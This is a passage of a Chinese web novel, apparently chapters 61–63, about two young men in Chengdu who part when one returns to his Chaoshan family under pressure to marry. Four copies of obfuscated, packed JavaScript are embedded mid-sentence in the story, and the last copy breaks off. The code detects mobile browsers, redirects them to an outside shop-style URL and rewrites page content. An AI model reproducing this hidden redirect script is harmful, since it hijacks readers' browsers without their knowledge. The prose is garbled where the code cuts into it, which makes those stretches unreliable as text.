窗外的雨越下越大,雨滴砸在玻璃上,发出噼里啪啦的声响,犹如无数细小的手指在急切地敲打,想要进来避雨,又像是想要出去。 李霄川背对着陈声和站着,肩膀的肌肉绷出锋利的线条,好像是拉满的弓弦下一秒就要断裂。 他的手指机械地折着那张省川剧院的录取通知,反复对折又展开,纸张边角已经磨出毛边。 陈声和站在他身后,喉咙发紧。他盯着李霄川的后颈,那里有一道浅浅的疤痕,是去年练功时被道具划伤的。 当时他一边骂李霄川不小心,一边手抖着给他涂药,李霄川就那样仰着脸看他,眼睛里全是笑意。 而现在,那道疤在节能灯惨白的光线下刺激着他的心脏。 “阿川……”陈声和开口,声音被窗外的雨声削得薄如纸片。 李霄川的肩胛骨在T恤下凸起,没回头。 “你走吧。”他说得很轻,轻得像夜班公交车上陌生人漏出的耳机杂音。 陈声和觉得有根铁丝突然勒进胸腔:“你说什么?” 李霄川转过来时碰倒了桌上的小茶杯,杯底残留的茶叶渣泼在地上,杯子也碎了。他的眼睛黑得吓人,仿佛有人往瞳孔里泼了墨。 “我说,你走吧。”他扯了扯嘴角,“回你的潮汕,去祠堂给你祖宗磕头,娶那个在微信里叫你声和哥哥的千金小姐们。” 陈声和猛地握紧了行李箱的拉杆。 “你以为我想吗?”他的声音开始发抖,潮汕话的尾音不受控制地往上飘,“我阿爸心脏支架才做半年,我阿妈……” “你当然有的选。”李霄川向前一步,逼近陈声和,“你只是选了更轻松的。” 雨声越来越大,楼下的榕树枝抽打着玻璃,投在墙上的影子如同无数挣扎的手。 陈声和闻到李霄川领口残留的火锅味,混着刚才剁辣椒的气息,呛得他太阳穴突突直跳。 “我不敢?”他猛地抬头,眼眶通红,“李霄川,你知不知道我为了跟你在一起,这半年接了多少个家里的电话?我阿爸每次打来,第一句话就是问我有没有跟那个成都人断了!我阿妈……” 他的声音哽住了,喉结滚动了一下,才继续道:“我阿妈上次来成都,偷偷去查了你的底。她回来就跟我说,如果我再跟你在一起,她就去跳海。” 李霄川脸上的肌肉抽动了一下。 “她不会的。”这句话轻得像自言自语。 陈声和咧开嘴,露出个扭曲的笑:“你见过潮汕人拜祖宗吗?三跪九叩的时候,膝盖撞在青砖上的声音……” 他指了指自己左额角,“我八岁不肯背族谱,这里被我阿公拿茶杯砸的疤还在。” 空气突然变得黏稠,窗外的雨声里混进了救护车鸣笛,由远及近又渐渐消失。 李霄川的目光盯在陈声和脸上,眼里的温度一点点消散。他后槽牙咬得太紧,下颌线绷出锋利的弧线。 “所以呢?”他每个字都像从齿缝里挤出来的,“你就这么认了?” “我不是认命啊!”陈声和突然拔高的声音在房间里炸开,他喘着粗气,喉结剧烈滚动,“我只是……需要时间。” “时间?”李霄川鼻腔里溢出一声冷笑,“给你时间干什么?去跟个连面都没见过的女人培养感情?” “还是等你们孩子会打酱油了,给我寄满月酒请帖?” 陈声和的拳头狠狠砸向墙面,“咚”的一声闷响在房间里炸开,指关节瞬间充血发红,墙皮碎屑簌簌落下。 “那你告诉我,该怎么办啊!”他的声音嘶哑,潮汕口音彻底失控。“选阿爸阿妈还是选你?选潮汕还是选成都?我他妈的呼吸都是错的!” 李霄川眼眶突然红了,他声音也拔高了:“你至少挣扎一下啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005901|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我挣扎过了!”他声音哑得不像自己,“每次我爸打电话我都按免提让你听,每次我妈寄来的相亲照片我都当着你面撕掉……可他们是我父母!” 雨水在玻璃上蜿蜒成河,倒映着两人扭曲的影子。 李霄川的声音渐渐轻了下来:“那我呢?”他指腹摩挲着录取通知书上晕开的墨迹,“我算什么?” 沉默蔓延了整个房间,老式挂钟的秒针走动声伴随着雨声,每一下都像在倒计时。 “知道最可笑的是什么吗?”李霄川突然笑了,手指揪着T恤下摆的线头,“我总想着……只要我站得够稳,你迟早会朝我走一步。” 线头崩断的轻响里,他眼底的光彻底暗下去:“是我太蠢了。” 陈声和觉得有把刀在胸腔里慢慢搅动,疼得他弯下腰去。 李霄川拿来医疗箱蹲在他面前,一声不吭帮他消毒抹药,那双手抖得连个创可贴都拿不稳。 “我不愿意……” 不愿意让你去北京,不愿意和你分开…… 陈声和视线模糊一片,他突然抓住李霄川的手咬在无名指上,他用了很大的劲,口腔里有了血腥味,可李霄川还是没有说什么。 …… 衣架上的牛仔外套还挂着潮湿的雨水味。 李霄川取衣服的动作很慢,像是关节生了锈。袖口蹭到玄关的绿萝,叶片上的水珠砸在地板上。 “阿川……”陈声和的手悬在半空,手指发颤。 李霄川在门口回头。楼道声控灯从他背后打过来,在脸上投下斑驳的光影,他的嘴角扯出一个极淡的笑。 “不用为难了。”他手指搭在门把上,“我放你走。” 门关上的瞬间,陈声和听见钥匙串清脆的碰撞声,李霄川总习惯把钥匙挂在背包带上,说这样才不会丢。 雨声突然变得很远。陈声和慢慢滑坐在地上,掌心还残留着墙灰的触感。 他低头把脸埋进膝盖,闻到牛仔裤上残留的火锅底料味,还有自己手上的碘伏味。 敞开的行李箱里,有件黑色T恤皱成一团,是他给买的,领口有点脱线,李霄川穿它练后空翻时扯的。 现在它静静躺在箱底,融入箱子布料中。窗外的雨还在下,水痕在玻璃上交叉又分开,诉说着无始无终的告别。 积压的情绪像烧开的水,终于顶翻了壶盖。 陈声和猛地站起身,一把掀翻了面前的桌子! 轰隆一声! 他心爱的茶具、滚沸的火锅、还有母亲寄来的那些东西,全都稀里哗啦摔了一地,滚烫的汤水溅得到处都是。 世界瞬间安静了,只剩下一片狼藉。 他颓然跌坐回沙发,把脸深深埋进手掌,肩膀控制不住地颤抖起来,眼泪从指缝里大颗大颗地往下砸。 61.行,我放你走 那天过后,李霄川整整一周没有踏进公寓的门。 陈声和只在戏剧社排练时远远看见过他一次,他正在指导新生练习变脸,红色脸谱甩出去的瞬间,目光扫过门口又迅速移开,像看见陌生人。 杨知夏在茶水间堵住陈声和,递过来的咖啡冒着热气:“你们俩怎么回事?李霄川这几天睡在练功房,浑身都是跌打药酒味。” 陈声和摇摇头没说话,咖啡一口没喝就放在桌上,杯底在木质桌面磕出一声轻响。 这种奇异的宁静一直持续至月底。 那天凌晨两点左右,陈声和在沙发上惊醒,他最近总是睡不踏实,在半夜突然睁眼,下意识去摸身边,却没有那个人。 手机在茶几上不停地震动,屏幕亮光刺得他眯起眼睛。 屏幕上“阿妈”这两个字在黑暗中闪烁着。潮汕老家从来不会在这个时间打电话,除非…… 他连忙按下接听键时,听见听筒里传来母亲急促的喘息,中间夹杂着医院广播的电子音。 “阿和,”母亲的声音带着颤抖,“你爸现在在急诊室。” 陈声和一下子坐直身体,脊椎撞在沙发靠背上。劣质皮革被指甲抓出几道白痕:“怎么回事?” “血压冲到两百多,医生说随时可能心梗。”母亲突然压低声音,“他看见你和那个……那个男仔的合照,茶杯直接砸在神龛上。” 陈声和的喉咙发紧。 照片……什么照片? 他根本不敢问细节,只能听见自己的心跳声在耳膜里咚咚撞击。母亲还在说话,血液奔涌的声音盖过了母亲的啜泣。 “明天就买机票回来。”母亲的语气突然变得锋利,那是他从小听到大,不容置疑的腔调,“医生说不能再受刺激了,再这样下去……” 她没有说完,但陈声和已经懂了。 “我知道了。”他听见自己回答,声音干涩得像砂纸摩擦。 挂断电话后,公寓安静得能听见冰箱压缩机的嗡鸣。 陈声和盯着手机屏幕渐渐暗下去,窗外偶尔有夜归的出租车驶过,车灯在天花板上投下转瞬即逝的影子。 通讯录里阿川两个字在手指下方闪烁。他们已经九天没联系了,上次对话还停留在暴雨夜的那句你走吧。 拇指悬在拨号键上许久,最终只是锁了屏。 天刚蒙蒙亮,陈声和就开始收拾行李,彻夜未眠让他的眼皮浮肿,颧骨在晨光中发着青白。 衣柜里的衬衫一件件折好,每件都带着李霄川买的樟木球香气。 相机和笔记本塞进背包时,他摸到抽屉深处的变脸木偶,去年生日时李霄川特意去宽窄巷子找老师傅用桃木定做的。 那时候网上流行送桃木剑,李霄川说他的剑只在戏里,于是做了个变脸木偶。 小木偶可爱的紧,穿着和他一样的戏服,揭开脸谱底下还藏着他俩的Q版画像。木偶在掌心躺着,最终被裹进毛衣放进行李箱夹层。 陈声和看着行李箱里塞满的衣服,眼泪不断滴落下来。 李霄川总爱给他买东西,从刚发售的球鞋到当季新衬衣,只要陈声和多看两眼,第二天准会出现在衣柜里。 这个人甚至会把教戏曲兼职赚的钱全砸在他身上,自己却总穿着那件领口磨得起毛的黑色T恤。 “我家乖乖穿帅点,”李霄川总爱这样说,粗糙的指节绕过他颈间,把羊绒围巾仔细系好,“走出去别人才晓得你老公有本事。” 他总要把围巾尾巴塞进陈声和衣领里,动作笨拙却认真。 陈声和提起要给他买衣服时,他却摆摆手:“武生穿那么好做啥子?反正天天在地上打滚。” 钥匙插进锁孔的声音突然刺破寂静。陈声和的手指停在半空,行李箱拉链咬住了一角衬衫布料。 门开时带进一阵湿漉漉的空气。李霄川站在玄关处,左手还拎着两袋豆浆,塑料袋上凝着水珠。 他显然没料到陈声和已经醒了,愣了一瞬,随即目光落在他脚边的行李箱上。周围散落着充电器和折叠伞,像一场仓促的逃亡现场。 “去哪里?”虽然知道他要走,却还是忍不住想问。 李霄川的声音很平静,但陈声和熟悉他每一个细微的表情变化,他的下颌绷紧了,那是他生气时的习惯。 “潮汕。”陈声和低头继续折一件毛衣,“我爸住院了。” 豆浆袋突然被攥紧,一滴豆汁溅在李霄川的球鞋上。他沉默了一会,然后大步走过来蹲下,快速扣上行李箱。 “几点的飞机?” “下午三点。” “我请假,陪你回去。” 这句话说得太干脆,仿佛已经在舌尖酝酿了千百遍。 陈声和抬头时,发现李霄川的眼睛亮得惊人,像是暗处突然被点燃的炭火 “不行。” “为什么?” “你剧团下周有重要演出,”陈声和拽了拽被卡住的衣角,“团长不会准假的。” “那就翘掉。”李霄川用拇指蹭掉鞋面上的豆渍,“反正他们最近看我不顺眼。” 陈声和摇头,手指抠着行李箱的拉链:“阿川,别这样。” “那你想怎样?”李霄川猛地站起来,豆浆袋子砸在地上炸开,“一声不吭收拾行李,打算自己偷偷溜走?” “我不是……” “你妈昨晚打电话了?”李霄川打断他,眼神利得刮在脸上,“说什么了?要死要活逼你回去?还是直接给你安排了相亲?” 陈声和的指甲陷进掌心。 李霄川总能一眼看穿他,就像能看穿川剧变脸的机关。 “不是结婚。”他最终说,“但我必须回去。” 寂静中能听到地上豆浆悄悄流淌的细微声音。 李霄川从牛仔裤口袋掏出两张纸片轻飘飘落在行李箱上。 “行,我懂了。”李霄川鼻腔里哼笑了一声,那笑容里带着点自嘲,“我本来想给你个惊喜。” 陈声和盯着那两张机票,成都→潮汕,靠在一起的位置,15A和15B,和他藏在手机购票记录里的一模一样。 他的喉咙像是被什么堵住,发不出声音。 “你早就决定自己走。”李霄川的声音从很远的地方传来,“连让我送机都不愿意。” 陈声和盯着那个被豆浆浸湿一角的座位号,想起去年他们第一次旅行。 李霄川也是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005902|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,提前买好两张连座票,在机场得意地晃着登机牌说:“这辈子你都别想自己坐飞机。” …… 去机场的出租车里弥漫着皮革和香薰混杂的刺鼻气味。 李霄川把陈声和的行李塞进后备厢时用力过猛,箱角在车身上刮出刺耳的声响。 司机从后视镜瞥了他们一眼,两人一左一右贴着车门坐,中间的空位足以再塞进一个人。 一路上,李霄川固执地提着所有行李,28寸的行李箱在他手里轻得像空壳。 他走得很快,黑色外套的下摆扫过安检传送带,那是去年陈声和跑遍太古里给他挑的生日礼物,袖口还留着当时不小心沾上的朱砂。 陈声和跟在他身后几步远的地方,数着他后颈上因为紧绷而凸起的颈椎骨节,像在数一串即将断裂的念珠。 值机柜台前,李霄川的指节敲在大理石台面上,哒、哒、哒,和地勤人员敲键盘的节奏重合。 托运标签缠上行李箱把手时,陈声和突然伸手想拿回登机牌,李霄川却抢先一步攥在手里,纸张在他掌心皱成一团。 “就送到这吧。”陈声和轻声说。 李霄川没动,只是盯着他看,眼神像是要把他刻进记忆里:“你确定要这样?” 陈声和盯着安检口闪烁的指示灯,不敢看他,随后点了点头。喉结滚动时扯出一阵刺痛,仿佛咽下了碎玻璃一样。 李霄川深吸一口气,突然从口袋里掏出一样东西,塞进陈声和手里。 也是一个小小的变脸脸谱,只有掌心大小,红黑相间的花纹,触手光滑。 “要是后悔了,”李霄川说,“就把它翻过来。” 陈声和拿着就要翻转,却被李霄川一把按住。 他这才发现对方的手指在发抖,掌根有排新鲜的月牙形指甲印,肯定是刚才在出租车上自己掐出来的。 “现在别看。”李霄川的声音哑得像砂纸打磨木头。 远处有个小孩在哭闹,尖锐的童声刺进耳膜。 陈声和攥紧脸谱,纹路硌进掌心。 李霄川第一次教他变脸,红色脸谱甩出去时说过:“我们这行有个规矩,最真的表情要藏在最后一张。” “阿川……” “走吧。”李霄川后退一步,嘴角扯出一个扭曲的笑,“别误机了。” 陈声和站在原地,有那么一瞬间,他想冲过去扯住那件黑色外套,想说我不要当什么孝子贤孙了,想把族谱上那个方框撕得粉碎。 但他最终只是转身,走向安检通道。 甚至没有回头再看看那人一眼。 他不敢。 飞机平稳起飞后,陈声和才翻过了那个脸谱。 背面用黑色记号笔写了一行字:我等你。 字迹有些潦草,像是仓促间写下的。 陈声和死死咬住下唇,齿尖陷进软肉里,尝到星点血腥味。他攥紧掌心的脸谱,纹路深深硌进皮肉,仿佛要刻进骨头里。 窗外,云层翻涌,厚重得像潮汕祠堂里悬挂的深色帷帐。阳光猛地穿透舷窗,刺得他眼眶发烫,视线里全是灼烧似的亮斑。 他闭上眼睛,睫毛狠狠颤了一下,眼泪终于砸下来。 62.算了,别绊住你 陈声和直接办了退学手续,这事李霄川是后来才知道的。 那半个月他故意住在剧团宿舍没回学校,美其名曰给彼此空间,其实每晚盯着手机等到凌晨三点。 他见过陈声和接到家里电话后的样子。 那个在镜头前追求完美的影视系高才生,会蹲在宿舍走廊尽头,把脸埋进臂弯里发抖。 他记得潮汕男孩手腕上被功夫茶烫出的疤,在月光下像枚褪色的小月牙。 再逼他,就是往他心上捅刀子。 李霄川对着宿舍发黄的墙壁发呆,墙皮剥落处还留着他们用指甲划的涂鸦:一个歪歪扭扭的辣椒和茶杯。 他从小就在失去,其实已经习惯了,只是这次比以往更痛,也更难受。 …… 次日他照常坐在化妆镜前,盯着自己半卸妆的脸。左眼还勾着武生的金粉,右眼却被泪水冲出一道灰白的沟壑,像被刀划开的画皮。 碘酒的味道掺着油彩的刺鼻,很难闻。 手机在化妆台上震动。 十几条未读消息,最新一条显示【阿川,对不起】 上一条是昨天的【坐上家里的车了】 锁屏照片还是去年校庆,陈声和举着棉花糖,糖丝粘在他发梢的照片。 指腹悬在屏幕上方,输入框的光标不停闪烁。 李霄川想起陈声和教他潮汕话时说的:对唔住,后面一定要接我知错,不然就是没诚意的道歉。 他想回一句:没关系 想回一句:我等你 甚至想回一句:你他爹的混蛋 可最后,他只是把手机反扣在桌上,屏幕朝下,像盖棺一样沉默着。 “川哥,该你上场了!”门外梳头师傅第三次敲门。 镜子里的人没动。 “川哥?” 李霄川缓缓抬头,镜中的自己左脸是舞台上的将军,右脸却已经溃不成军。 他突然抬手,一拳砸向镜面。 “砰”的一声! 玻璃碎片四溅,无数个李霄川在镜中裂开。 “不演了。”他扯下戏服蹀躞(读谢)带,珍珠扣子崩落一地,滚进角落的阴影里,成了被遗弃的约定。 碎玻璃扎进皮肉,血珠顺着虎口滴到化妆台上的一张照片上,正好盖住陈声和的笑脸。 …… 凌晨的火锅店后厨,冰柜压缩机发出哮喘似的嗡鸣。 李红梅看着侄儿把魔鬼椒倒进锅里,红油溅上他别在围裙上的川剧院工作证,“优秀青年演员”那几个烫金字糊成了一团。 李霄川缩在最角落,面前的红汤锅咕嘟咕嘟翻滚。 “你味觉失灵了?”李红梅抢过筷子时,瞥见他指缝里还嵌着玻璃渣。 他没吭声,捞起裹满辣椒的毛肚塞进嘴里,面无表情地嚼。辣味烧着喉咙,可他眼皮都没动一下。 “……你在搞撒子?”李红梅盯着他,声音突然哽住。 李霄川想挤个笑,嘴角一扯,眼圈先红了:“他走了。” 三个字轻飘飘的,像烧完的纸灰。 李红梅把冰镇豆浆推过去,他没接,只是盯着锅里翻滚的红油,轻声说:“他说潮汕人不能吃辣,每次来这儿,都要用清水涮三遍才敢吃。” “……” “以前总笑他娇气,现在才懂,他是在迁就我。” 李霄川又夹了一片肉,辣椒籽沾在唇上,他咽下去,喉结滚动两下,眼泪终于砸进油碟,“其实我也怕辣……可他不会知道了。” “当年你妈走的时候,你也是这样……” “不一样。”他强忍着不让眼泪掉下来,可怎么都控制不住,“妈是被病带走的,陈声和是……是自己走的!” 最后几个字像嚼着碎玻璃,满嘴血腥味。 李红梅坐在塑料凳上,手里攥着半包餐巾纸,安静地听着侄子前言不搭后语的倾诉。 火锅店的排气扇嗡嗡作响,红油锅底咕嘟咕嘟冒着泡,把李霄川的声音都煮得支离破碎。 她看着这个从小带大的孩子,多俊的一张脸啊,眉是眉眼是眼的,怎么命就这么苦? 七岁没了娘,爹娶了后妈就当甩手掌柜。好不容易熬出头考上大学,偏偏喜欢上个男孩,还是潮汕人家的独苗。 现在二十多岁的小伙子,肩宽腿长的,倒被感情磨得没了人形。 为什么偏偏潮汕人呢…… “姑,我没事。”李霄川突然咧嘴一笑,把涮老的毛肚裹满辣椒面塞进嘴里。 李红梅别过脸去,听见他呛咳的声音混在火锅店的嘈杂里,分不清是辣的还是哭的。 那天之后,李霄川就搬出了公寓,那间合租屋的押金单他还留着,皱巴巴地塞在戏服箱最底层。 房东来换锁时问要不要把另一把钥匙扔掉,他摇头说不用,转身时却被门槛绊了个踉跄。 …… 陈声和刚离开那段时间,李霄川不知道自己怎么度过的,恍恍惚惚,总觉得哪里都有广东仔的身影,然而等到他仔细去看时,却什么也没有。 练功房的日光灯管坏了半截,滋滋响着。李霄川手里的红缨枪转出残影,枪头红绸早就秃了边。 第三十几遍收势时,血已经顺着虎口纹路爬到枪杆上,在龙泉的刻字凹槽里积成暗红色。 他甩了甩手,血珠呈扇形洒在地胶上。 这双手上周刚在文化汇演拿了奖,评委夸他“枪挑连环如蛟龙出水。” 这双手抱过陈声和,替他擦过眼泪,也曾在深夜偷偷描摹他睡着的侧脸。 现在却只能握着冰冷的兵器,演别人的爱恨。 墙角那台老式DV是陈声和落下的。镜头始终对着观众席左侧一个座位,皮垫上仿佛还有他坐出来的凹痕。 李霄川走过来坐在地上,拿起按下播放键,雪花屏闪了几下,接着跳出陈声和低头调光圈的样子,镜头晃得厉害,画面外传来憋不住的笑声。 “……别拍了。”视频里的陈声和突然抬头,镜头捕捉到他耳尖上的红晕,“你练你的功,老拍我干什么啦?” “你比戏好看。”镜头外的李霄川说。 陈声和骂了句神经病,却把脸埋进相机后面偷笑。 那是他最后一次来看排练。 李霄川关掉DV,从道具箱底层抽出一条绷带,那天在后台砸镜子划伤的,也可能是这段时间自残的。 他慢慢缠在手掌上,一层,又一层,像给自己裹尸,又像把痛苦都包裹住。 日子就这么漫长的过着,一个月后,李霄川站在天府机场出发大厅。两张飞潮汕的机票在指间翻动,登机口的队伍像条蜈蚣缓慢蠕动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005903|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安检口有个穿咖色风衣的背影,后脑勺发旋和陈声和一模一样,他往前追了两步才想起今天降温,陈声和肯定会裹那件丑兮兮的羽绒服。 第三次广播响起时,他忽然把其中一张票撕成两半了。 碎片被扔进垃圾桶,他摸到口袋里半张残破的脸谱,不是给陈声和的那张,而是自己常年备用的那张。 粗粝的边缘扎着掌心,就像这一个月来所有未愈合的伤口。 翻过来,背面用朱砂写着同样的承诺:我等你。 笔迹比给陈声和的那张更潦草,因为是昨夜醉酒后补写的。 至于等多久,他也不清楚。 李霄川盯着那几个字,忽然笑了一下。 “算了。”他把脸谱放回口袋,“……别绊住你。” 转身时不小心撞到路人,对方抱怨声里,他恍惚听见陈声和说小心啦的潮汕腔调。 软的让人心疼。 走出机场时,成都的冬雨正下得绵密。 李霄川站在出租车站台的雨棚下,水珠顺着棚檐滴在他的行李箱拉杆上,成了一串永远走不准的秒针。 他鬼使神差地抬头看了眼航班信息屏,CA4519正在抵达。比陈声和当天离开时坐的CA4518,多了一个数字。 这个发现让他喉头发紧,命运似乎在跟他玩一个拙劣的文字游戏。 那天晚上,李霄川又去了大学后门的蛋烘糕摊。老头的头发白了一半,但铁板擦油的声响还是那么熟悉。 “老样子?”摊主问,手上的木勺在面糊盆里搅了搅,“双份奶油肉松。” 李霄川点了点头,雨水顺着他的发梢滴在围挡的塑料布上。他想起陈声和第一次吃这个口味时,被烫得直哈气还要往嘴里塞的滑稽样子。 热腾腾的蛋烘糕递过来时,油纸包着的边缘已经沾了一些奶油,他咬了一口,甜腻的奶油在舌尖化开,如同一场过期的美梦。 一阵夜风卷起包装纸,露出垫在下面的旧报纸。 破旧的纸页上,有人写了一行字:【早知如此绊人心,何如当初莫相识】字迹已经晕开,应该被雨水或者别的什么液体浸泡过。 李霄川盯着那句话看了很久,直到奶油顺着指缝流到手腕上。 雨下得更大了。 他站在路灯下,看着自己的影子被雨水打湿、拉长,洗刷。 一个念头不受控制地冒了出来: 要是……要是从来没遇见陈声和,是不是现在心口就不会疼得这么具体,这么无处可逃了? 这念头刚浮起,心底就窜起一个更疯狂的声音,斩钉截铁地把它摁了下去。 不会。 没有那种“假设”。 他们相遇了,这就是唯一残酷的真相。 李霄川仰起头,任由冰凉的雨水砸在脸上,和某种温热的液体混在一起。 他忽然就明白了,爱情最残忍的,不是失去。 是它已经烧成了灰,你以为一切都过去了。 可只要一阵不知从哪个方向吹来的风,那灰烬底下尚未死透的火星子,就会猛地烫你一下。 不致命,却疼得鲜明,疼得瞬间就能把你拉回那片焚身烈火之中。 就像这成都的冬雨,下得再大,再急,也冲不散记忆深处,那个潮汕少年带来的咸涩海风。 63.他真的,离开李霄川了 飞机降落在揭阳潮汕国际机场时,陈声和的手指还死死攥着那张脸谱。 空姐走过来,轻声提醒他该下飞机了。他猛地回过神,像是被人从梦里拽出来一样,赶紧把脸谱胡乱塞进背包最里头。 那动作快得,简直像在藏什么见不得光的东西。 一脚踏出机舱,潮汕的湿热空气随风而至,通道旁凤凰单丛茶广告牌下,似乎隐隐飘着那熟悉的炭焙香,混在咸腥的海风里。 他站在航站楼出口的玻璃幕墙前,看着父亲那辆黑色奥迪缓缓停稳,司机老陈在人群里踮着脚朝他挥手,还是那副熟悉的笑脸。 空调水从屋檐角一滴一滴往下砸,落在他脚边,水花溅起来,打湿了他的鞋面。 他这才真的意识到…… 他真的回来了。 他真的,离开李霄川了。 车门关上,将湿热的空气隔绝在外。 老陈一边掉头一边絮叨着:“你爸身体挺好的,没再犯病了。” 他只是“嗯”了一声,偏头看向窗外。 飞速倒退的街景既熟悉又陌生,像一帧帧褪色的旧照片。他不自觉摸了下背包,那张脸谱的轮廓硬硬地硌在手指。 脸谱是他们的开始,而现在,却成了他必须藏起来的过去。 …… 老宅的雕花木门发出熟悉的吱呀声,母亲站在天井的斑驳光影里,身上那件国风旗袍还是去年他买的款式。 她伸手接过行李时,陈声和闻到熟悉的味道,是家里佛龛前燃着的线香,丝丝缕缕地缠着常年煎药的苦涩,兜头盖脸地扑过来。 “回来就好。”母亲的手指在他腕间那道茶疤上不着痕迹地停了一下,又快得像是他的错觉。 大概是在确认,这个儿子是真人,不是电话里那个虚影儿。 陈声和没有说话。 厅堂里,父亲盘着那串油亮的小叶紫檀,茶几上的相册摊开着。 林家女儿穿着浅蓝色连衣裙站在南澳岛礁石上,谢家侄女在广济桥前比着剪刀手。每张照片边缘,都工工整整地用钢笔标着生辰八字,像货架上的价签 父亲重重咳嗽了两声,喉间那呼噜呼噜的痰音,比视频通话里听着更实在,更磨人。 “先吃饭。”紫檀珠子在他指间利落地转完一圈,“你瘦了。” 陈声和的目光从相册上移开,依旧把沉默当盔甲。 饭桌上,那钵西洋菜陈肾汤冒着虚虚的白气。陈婉琼舀汤时,手腕上那只翡翠镯子磕在碗沿,“叮”一声脆响。 他低头喝了一口,汤里肯定下了不少海底椰,甜得人喉咙发腻。 “广东仔,试试这个,保证你辣到喊阿妈!” 脑子里自动蹦出个声音,响亮亮的。那人笑起来眼睛弯成两道桥,鼻尖上还沾着一点辣椒面,滑稽又生动。 就这么一想,嘴里的西洋菜突然像团棉花似的堵在了喉咙口。他赶紧端起茶杯灌了一大口,才勉强咽下去。 父亲的目光扫过来,他不自觉地挺直了脊背。 餐桌上只剩下筷子碰着碗边的细碎声响,和窗外芭蕉叶子被风吹得哗啦啦,一阵又一阵。 他知道,眼下这顿饭的平静,不过是水面上一层薄冰,底下多得是等着他的东西。 到了夜里,他躺在床上,身子底下的床随着翻身轻轻作响。 月光透过那片片蚝壳拼的窗格照进来,在蚊帐上投下细碎又冰凉的光斑,晃啊晃的。 手机屏幕“嗡”地一亮,他几乎是扑过去一把抓起来。 是李霄川的信息,他抖着手指点开,照片里是空荡荡的宿舍床铺,角落里,故意似地露出了半截熟悉的蓝格子伞边。 消息记录往上翻,全是不同角度的宿舍照片,从一大早阳光洒满屋子,一直拍到傍晚天色擦黑。 最新一条写着:【伞给你留着了】 他的拇指在冰冷的屏幕上方悬了半天,在输入框里打了“别等”,又删掉;打了“等我”,又觉得更混蛋。 最后拇指无力地垂下来,屏幕暗下去,瞬间映出自己一张扭曲又疲惫的脸。 心里头像被什么东西狠狠掏了一把,又空又疼。 他猛地翻身下床,在背包最底下那层摸索了半天,才摸出那张被小心藏起来的脸谱。 指腹轻轻擦过背面那行刻进去的小字:我等你。 心脏猛地一抽,疼得他瞬间弯下了腰,额头死死抵住梳妆台冰凉的雕花棱角。木头的硬硌进皮肤里,那点清晰的痛,反而让他从一团乱麻的情绪里,喘上了一口气。 就在这时,楼下传来父亲压抑的咳嗽声,一声接着一声,空洞又执着,像一具永远也停不下来的更漏。 …… 回家的第三天,林家伯伯带着女儿来喝茶。 那是个下雨天,雨丝绵绵密密,屋里飘着凤凰单丛的茶香。 林家姑娘穿着藕荷色旗袍,挽着低低的发髻,指甲修剪得圆润干净。她坐在红木椅上,双手交叠放在膝头,说话时微微低头,是长辈们最中意的那种温婉模样。 陈声和坐在茶几对面,机械地重复着烫杯、纳茶、冲点的动作。滚水从壶嘴倾泻而下,溅在虎口处,皮肤立刻泛起一片红痕。 他没动,像没感觉似的。直到林姑娘轻声提醒:“陈先生,水满了。” 他头也没抬:“叫名字就行。” “声和平时喜欢吃什么呀?”她抿了口茶,笑着问。 他张了张嘴,话没说出来,舌尖却突然冒出记忆里的麻辣味。 去年冬天,李霄川非要拉他去吃巷子里的串串。 红油锅里漂着密密麻麻的花椒,牛肉丸在里头翻腾。他辣得眼泪都要出来,李霄川一边笑一边往他手里塞冰豆奶。 “广东仔,”那家伙凑到他耳边,呼吸带着啤酒味,“你这点辣都受不了,以后怎么当我成都人的家属?” “……我不太挑食。”他最后这么说。 林姑娘笑了笑,没再追问。 后来他们又聊了些无关紧要的话,双方加了好友,约好过几天去深圳玩。 茶凉了,人也散了。 那天晚上,他站在浴室的镜子前。镜面蒙着水雾,他用手掌抹开一片,看见自己苍白的脸,眼下显着淡淡的青。 他忽然抬手,五指张开抵在胃部,慢慢施加压力,直到肋骨隐隐作痛。 如果连饥饿都能变成习惯,是不是那些不该记得的事,总有一天也会模糊? 回家一周后,退学申请批下来了。辅导员在电话里叹气,说可惜了这么好的成绩。妈妈接过电话,客客气气跟人家聊了几句。 书桌上放着两份东西:一份是去家族企业上班的申请表,另一份是英国一所大学的招生简章。 收拾相机的时候,他不小心按到回放。屏幕一亮,李霄川的脸就这么毫无预兆地跳了出来。 那是去年秋天拍的,照片里的人正在练功房压腿,汗顺着脖子流进白背心里,锁骨上有个新鲜的牙印,模模糊糊的画面里依然清楚得扎眼。 他的拇指停在删除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 